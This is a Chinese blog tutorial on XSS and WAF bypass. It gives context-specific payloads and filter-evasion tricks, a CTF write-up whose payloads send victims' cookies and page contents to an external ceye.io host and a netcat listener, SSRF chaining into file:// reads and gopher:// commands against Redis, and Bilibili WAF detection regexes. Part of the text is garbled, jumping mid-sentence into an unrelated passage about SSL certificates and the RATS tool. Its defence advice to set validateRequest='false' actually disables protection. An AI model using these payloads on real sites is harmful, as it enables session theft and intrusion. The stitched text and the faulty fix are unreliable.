BypassWaf_xss

0x01 什么是XSS漏洞

XSS全称跨站脚本(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故缩写为XSS,比较合适的方式应该叫做跨站脚本攻击。

跨站脚本攻击是一种常见的web安全漏洞,它主要是指攻击者可以在页面中插入恶意脚本代码,当受害者访问这些页面时,浏览器会解析并执行这些恶意代码,从而达到窃取用户身份/钓鱼/传播恶意代码等行为。

一、 XSS分类

反射型(非持久型)
存储型(持久型)
DOM型
不常见的XSS:
mXSS 突变型XSS
UXSS 通用型XSS
Flash XSS
UTF-7 XSS
MHTML XSS
CSS XSS
VBScript XSS

存储型

存储型XSS也叫持久型XSS,存储的意思就是Payload是有经过存储的,当一个页面存在存储型XSS的时候,XSS注入成功后,那么每次访问该页面都将触发XSS。

反射型

反射型XSS也叫非持久型XSS,最常见的是Payload是构造在网址的某个GET参数的值里。

DOM 型

基于DOM的XSS有时也称为type0XSS。当用户能够通过交互修改浏览器页面中的DOM(DocumentObjectModel)并显示在浏览器上时,就有可能产生这种漏洞,从效果上来说它也是反射型XSS。通过修改页面的DOM节点形成的XSS,称之为DOMBasedXSS。

二、 xss bypass

检测过滤情况

用于有字符限制的短探测器
'';!--"<XSS>=&{()}
完全版探测器
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

观察输出位置

1.标签之间

1
2
3
4
5
6
模型: <div>[xss]</div> payload: <script>alert(1)</script>或者<img src=1 onerror=alert(1)>
这些标签有:
<a> <p> <img> <body> <button> <var> <div> <object> <input> <select> <keygen> <frameset> <embed> <svg> <video> <audio>

自带HtmlEncode(转义)功能的标签(RCDATA),这是插入的javascript不会被执行,除非我们闭合掉它们。
<textarea></textarea> <title></title> <iframe></iframe> <noscript></noscript> <noframes></noframes> <xmp></xmp> <plaintext></plaintext> 其他:<math></math>也不行

2.js标签之间

在该位置,空格被过滤,可用/**/代替空格。输出在注释中,通过换行符%0a %0d使其逃逸出来。

(1)不在字符串内

判断<>/是否被过滤。如果没有,那么直接插入就可以。

1
2
3
4
<script>
[output]
</script>
payload:</script><script>alert(1)</script>
(2)在字符串中

此时需要闭合字符串,并保证插入的JS代码符合语法规范。

1
2
3
<script>
Var x="Input";
</script>

input是输出点,我们首先要闭合双引号,才能保证XSS成功。如果我们无法闭合包括字符串的引号(引号被转义),就很难利用,除非存在两个输出点或宽字节。(详见参考资料)

3.输出在HTML属性内

(1)文本属性中

例如:<input value="输出"> 、 <img onload="...[输出]..."> ,再比如 <body style="...[输出]...">

无引号包裹,直接添加新的事件属性。

有引号包括。首先测试引号是否可用,可用则闭合属性之后添加新的事件属性。

HTML的属性,如果被进行HTML实体编码(形如'&#x27),那么HTML会对其进行自动解码,从而我们可以在属性里以HTML实体编码的方式引入任意字符,从而方便我们在事件属性里以JS的方式构造payload。当然,也可以闭合属性后,然后再执行脚本。

直接使用伪协议绕过。

1
2
3
4
5
javascript 伪协议: <a href=javascript:alert(2)>test</a>
data 协议执行 javascript: <a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==>test</a>(Chrome被拦截,Firefox可以)
urlencode 版本: <a href=data:text/html;%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2829%29%3C%2F%73%63%72%69%70%74%3E>(测试未通过)
不使用 href 的另外一种组合来执行 js: <svg><a xlink:href="javascript:alert(14)"><rect width="1000" height="1000" fill="white"/></a></svg>(均可) 或者:
<math><a xlink:href=javascript:alert(1)>1</a></math>(Chrome不可,Firefox可以)
(3)on*事件中

插入合乎逻辑的JS代码即可。也可以使用伪协议。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
onload
onclick
onunload
onchange
onsubmit
onreset
onselect
onblur
onfocus
onabort
onkeydown
onkeypress
onkeyup
ondbclick
onmouseover
onmousemove
onmouseout
onmouseup
onforminput
onformchange
ondrag
ondrop

绕过waf

单次过滤规则绕过:<scr<script>ipt>
大小写绕过:”的SSL证书,并将其安装在Web服务器的前面:

img

分析此类证书的结果是正在执行的JavaScript代码:

ximg

RATS(安全性粗略审计工具)由CERN计算机安全部门开发,RATS是一个非常好的静态代码分析工具。我喜欢它并且已经使用它多年了。然而,最后一个版本可以追溯到2013年12月,现在可能没有维护,但不确定。

去年我在火车上很无聊,发现这个无用的XSS。RATS收到一个包含源代码的文件夹,并创建一个包含结果的HTML报告,其中还包括所分析文件的名称,因此攻击向量非常明显。我在其名称中创建了一个包含JavaScript代码的文件:

img

分析之后,注入的JavaScript将在报告中呈现:

img

0x03 CTF赛题

XSS的威力:从XSS到SSRF再到Redis

一、xssme

payload:

1
<svg/onload="document.location='http://vps_ip:23333'">

vps:

1
nc -l -vv -p 23333

收获flag

1
<svg/onload="document.location='http://ugelgr.ceye.io/?'+document.cookie">

解码后得到

1
PHPSESSID=9crkuhdqs9b1jkslebpieprr86; FLAG_XSSME=FLAG{Sometimes, XSS can be critical vulnerability <script>alert

二、xssrf leak

xss去本地访问,再将页面内容打出来

1
<svg/onload="document.location='http://ugelgr.ceye.io/?'+btoa(document.body.innerHTML)">

编码绕过

解码后保存到本地html里打开

发现多了一个send request的功能,跟过去看代码发现多了一个send request的功能,跟过去看代码
img

没错,是多了一个request.php
那么结合题目意思,应该是有ssrf,我想应该就是利用这里的request.php了吧
那么继续去读这个页面的html

1
2
3
4
5
6
7
8
9
10
11
12
<svg/onload="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.location='http://vps_ip:23333/?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("GET","request.php",true);
xmlhttp.send();
">

经过编码后发送,得到
同样解码后发现代码
应该xss的点就是在这里了
于是尝试file协议读/etc/passwd

1
2
3
4
5
6
7
8
9
10
11
12
13
<svg/onload="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.location='http://vps_ip:23333/?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=file:///etc/passwd");
">

发现成功读取了/etc/passwd
那么我们回想到最初的文件

1
2
3
4
User-agent: *
Disallow: /config.php
Disallow: /you/cant/read/config.php/can/you?
Disallow: /backup.zip

于是直接读config.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<svg/onload="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.location='http://vps_ip:23333/?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=file:///var/www/html/config.php");
">

cool,于是我们拿到了第二个flag

1
FLAG{curl -v -o flag --next flag://in-the.redis/the?port=25566&good=luck}

三、xssrf redis

只剩下最后一步打redis了

这里很容易就想到了gopher未授权访问打redis
上一题提示我们redis再25566端口,于是我们尝试访问一下

1
2
3
4
5
6
7
8
9
10
11
12
13
<svg/onload="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.location='http://vps_ip:23333/?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=gopher://127.0.0.1:25566/_info%250a_quit");
">

于是愉快的打出信息,发现果然是未授权访问
那么看看key有哪些

1
xmlhttp.send("url=gopher://127.0.0.1:25566/_KEYS%2520*%250a_quit");

发现了flag
然后我们尝试读取

1
xmlhttp.send("url=gopher://127.0.0.1:25566/_get%2520flag%250a_quit");

发现报错
发现类型错误了
那我们看看类型

1
xmlhttp.send("url=gopher://127.0.0.1:25566/_type%2520flag%250a_quit");

img

发现是个list
那我们看看长度

1
xmlhttp.send("url=gopher://127.0.0.1:25566/_llen%2520flag%250a_quit");

发现是53
那我们可以愉快的读取list了

1
xmlhttp.send("url=gopher://127.0.0.1:25566/_lrange%2520flag%25200%252053%250a_quit");

img

我们把它拼接起来

imgso cool
得到最后的flag

1
FLAG{Rediswithout authentication is easy to exploit}

0x04 B站waf

xss探针

1
2
';`"><aaa bbb=ccc>ddd<aaa/>
aaa</script>bbb<script>ccc

payload

1
2
3
4
<img src=x onerror=alert(1)>
<script>alert(1)<script>
top['alert'](1)
top['al'+'ert'](1)

至今已发现的b站waf规则总结:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
on\w+=(?:prompt|alert|confirm){1}\(\w+\)

<[^>]*\s+on\w+=(?:prompt|alert|confirm){1}\(\w+

<script>[^`]*document\[\w+\]

<script>[^`]*document\.\w+

<script>\w+\.cookie

<script\s(.*\s)?src(=\w+)?>

<a\s(.*\s)?href=javascript:.*>

<img\s[^>]*on\w+=\w+\[\w*\]\(\w*\)

<img\s[^>]*on\w+=`\w*`.*

0x05 实战

一、pdf xss

在新建文档中添加页面属性

在动作标签运行JavaScript命令app.alert(‘XSS’);

然后保存为PDF文件

打开pdf文件,JavaScript代码执行

尝试把 PDF 文件嵌入到网页中并试运行。创建一个 HTML 文档,代码如下:

1
2
3
4
5
6
7
<html>
<body>
<object
data="test.pdf" width="100%" heigh="100%"
type="application/pdf"></object>
</body>
</html>

除了把 JavaScript 嵌入 PDF 文件中执行,还可以利用基于 DOM 的方法执行 PDF XSS。

修复方法

  而作为网站管理员或开发者,可以选择强迫浏览器下载 PDF 文件,而不是提供在线浏览等,或修改 Web 服务器配置的 header 和相关属性。

  可以使用第三方插件解析pdf,不用chrome自带的pdf解析就行,https://github.com/adobe-type-tools/cmap-resources

参考链接:

https://www.t00ls.net/thread-48480-1-1.html

https://blog.xss.lc/experience-sharing/71.html

二、上传文件处XSS

在上传的图片内容中插入xss攻击的payload,之后访问返回的name文件,可触发xss代码。

修改页面内容为payload

访问图片url触发xss

安全建议

(1) 判断参数的合法性,不合法不返回任何内容。

(2) 对用户输入进行html实体编码,并过滤常见html标签及javascript脚本。

文件上传处文件名XSS

安全建议:

(1) 判断参数的合法性,不合法不返回任何内容。

(2) 严格限制URL参数输入值的格式,不能包含不必要的特殊字符(%0d、%0a、%0D、%0A等)。

(3) 针对Cookie设置HttpOnly策略。

(4) 针对ASP.NET的防XSS库,Microsoft有提供统一的库,具体可以参见如下链接微软官网:

修改web.config文件:

1
2
3
4
5
6
7
8
9
<configuration>

<system.web>

<pages validateRequest="false" />

</system.web>

</configuration>

http://msdn.microsoft.com/en-us/library/aa973813.aspx

三、excel模版xss

从本地导入excel表格,表格内数据含xss payload 即可触发XSS漏洞

payload:

1
2
3
<img src=x onerror=alert(1)>
<img/src=""onerror=alert(2)>
<src=x onerror=alert(1)>

0x06 防御

1、HTML实体化编码,预防xss漏洞。

2、对特殊字符,例如’ “ >< % 等进行过滤。

3、传递参数时对cookies进行校验,防止越权漏洞。

4、开启CSP或HTTPONLY,防止用户凭证泄露。

0x07 补充CSP

https://www.jianshu.com/p/f1de775bc43e

https://xz.aliyun.com/t/4074#toc-8

-------------本文结束感谢您的阅读-------------